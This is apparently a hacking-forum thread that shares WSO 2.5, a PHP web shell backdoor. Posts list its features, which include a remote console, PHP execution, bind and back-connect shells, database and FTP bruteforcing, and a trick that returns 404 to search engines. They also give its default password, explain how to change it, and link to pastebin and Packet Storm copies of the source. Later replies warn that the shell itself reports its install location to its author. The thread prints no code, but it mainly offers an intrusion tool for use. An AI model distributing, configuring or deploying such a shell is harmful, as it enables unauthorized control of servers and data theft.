WSO 2.5 - Web Application Security

undead

Features:

This utility provides a web interface for remote operation c operating system and its services / daemons.
Opportunity Description / features:
Authorization for the cookies
Server Information
File manager (copy, rename, move, delete, chmod, touch, create files and folders)
View, hexview, editing, downloading, uploading files
Working with zip archives (packing, unpacking) + compression tar.gz
Console
SQL Manager (MySql, PostgreSql)
Execute PHP code
Working with Strings + hash search online databases
Bindport and back-Connect (Perl)
Bruteforce FTP, MySQL, PgSQL
Search files, search text in files
Support for * nix-like and Windows systems
Antipoiskovik (check User-Agent, if a search engine then returns 404 error)
You can use AJAX
Small size. Packaged version is 22.8 Kb
The choice of encoding, which employs a shell.

Screenshot:[spoiler]
http://i.imgur.com/j2HIJ.png[/spoiler]

I edited the source a bit so the login screen now looks like this:

[spoiler]http://i.imgur.com/unQXZ.png
[/spoiler]

Default password: root
(if you want to change it change the auth_pass variable value with your md5 encoded password. http://www.adamek.biz/md5-generator.php)

http://pastebin.com/Qra8yeWX

Mr. P-teo

Thanks for the share, im not going to use this but i am going to study the source.

Andr4y

WSO is a PHP shell backdoor that provide an interface for various remote
operations. It can perform everything from remote code execution,
bruteforcing of servers, provide server information, and more.

Download (packetstorm) Link :

http://packetstormsecurity.org/files/117974/WSO-Web-Shell-2.5.1.html

Features:
Authorization for the cookies
Server Information
File manager (copy, rename, move, delete, chmod, touch, create files and folders)
View, hexview, editing, downloading, uploading files
Working with zip archives (packing, unpacking) + compression tar.gz
Console
SQL Manager (MySql, PostgreSql)
Execute PHP code
Working with Strings + hash search online databases
Bindport and back-Connect (Perl)
Bruteforce FTP, MySQL, PgSQL
Search files, search text in files
Support for * nix-like and Windows systems
Antipoiskovik (check User-Agent, if a search engine then returns 404 error)
You can use AJAX
Small size. Packaged version is 22.8 Kb
The choice of encoding, which employs a shell.

Changelog (v2.5.1):
Remove comments from the first line .
Added option to dump certain columns of tables.
the size of large files are now well defined .
in the file properties field "Create time" changed to "Change time" (http://php.net/filectime).
Fixed a bug that caused not working mysql brute force if there was a port of the server .
Fixed a bug due to which one can not see the contents of a table called download in the database.

Youtube link :

SuperMario

I don't suggest using this shell. After decoding it well, you're going to reveal that this shell is backdoored.

It means that when you upload this shell somewhere , the creator of its will get an e-mail with informations of the location of your uploaded shell. So he gets access to all your uploaded shells and your work goes down.

Be careful !

Sh3llc0d3

Yeah be careful when using PHP shells, never trust anything without first making sure you've checked the code. base64 encoding a backdoor is common in PHP shells. Custom shells are easy to make and come pre-installed in backtrack/kali.

Howdy, Stranger!

Top Posters

Who's Online (0)